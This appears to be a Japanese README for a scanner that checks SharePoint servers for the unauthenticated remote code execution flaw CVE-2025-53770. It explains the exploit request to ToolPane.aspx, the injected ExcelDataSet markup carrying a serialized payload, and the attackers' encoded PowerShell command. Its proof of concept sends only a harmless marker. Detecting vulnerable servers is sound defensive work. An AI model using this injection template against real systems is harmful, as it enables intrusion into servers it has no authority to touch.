
SharePoint CVE-2025-53770 RCE ゼロデイ脆弱性のスキャナー。
これは、CVE-2025-53770が割り当てられたSharePointの未認証リモートコード実行の脆弱性をスキャンするツールです。 このコードは、実環境で確認されたペイロードをリバースエンジニアリングして作成されました。
自己責任で使用してください。本ツールによって生じるいかなる悪影響についても、私は一切責任を負いません。
SharePointのToolBoxウィジェットにマーカーを注入することで、脆弱性の悪用を試みます。 SharePointサーバーの応答にこの無害なマーカーが見つかった場合、そのホストは脆弱としてマークされます。
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
KB5002768とKB5002754が適用されていないオンプレミス版のSharePointサーバーを実行しているすべての環境。
この脆弱性は、以前に公開されたSharePointの脆弱性であるCVE-2025-49706に基づいて構築されたものと推測されます。
GZIP圧縮およびBASE64エンコードされたペイロードをhttps://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspxへのHTTP POSTリクエストとして送信することで、SharePointランタイムプロセスとしてリモートコード実行が可能になります。
ここで重要なフォームパラメータは2つあります。
MSOTlPn_Uri: コントロールソースパスこれは正規のSharePointコントロール(AclEditor.ascx)を参照しているように見せかけ、SharePointを欺いてWebパーツの編集を許可させます。
これは検証を通過するためだけのモック/偽の値であると思われます。
元の悪意のあるペイロードにはMSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascxが含まれていますが、この時点では使用されていないようです。
MSOTlPn_DWP: Webパーツの部分構成このパラメータは、カスタムASP.NETディレクティブ(<%@ Register %>)とサーバーサイドマークアップ(<Scorecard:ExcelDataSet>)を注入します。
CompressedDataTableパラメータには攻撃者が制御するシリアライズデータ(GZIP + base64)が格納され、RCEを引き起こします。
このペイロードは特定の構造に従います:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Scorecard:ExcelDataSetのようなコントロールが存在し、そのCompressedDataTableプロパティが設定されている場合、SharePoint DWPパーサーによって直接デシリアライズされます。
ペイロード自体は非常に興味深いものになり得ます。なぜなら、デシリアライゼーションRCEを引き起こすSystem.DelegateSerializationHolderを含めることができるからです。
脅威アクターはこれを悪用し、コード実行を達成するためにペイロード内で/c powershell -EncodedCommand <POWERSHELL-PAYLOAD>を渡していました。
私たちのケースでは、悪用可能性を証明するために静的なプレースホルダーを渡すだけです:
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>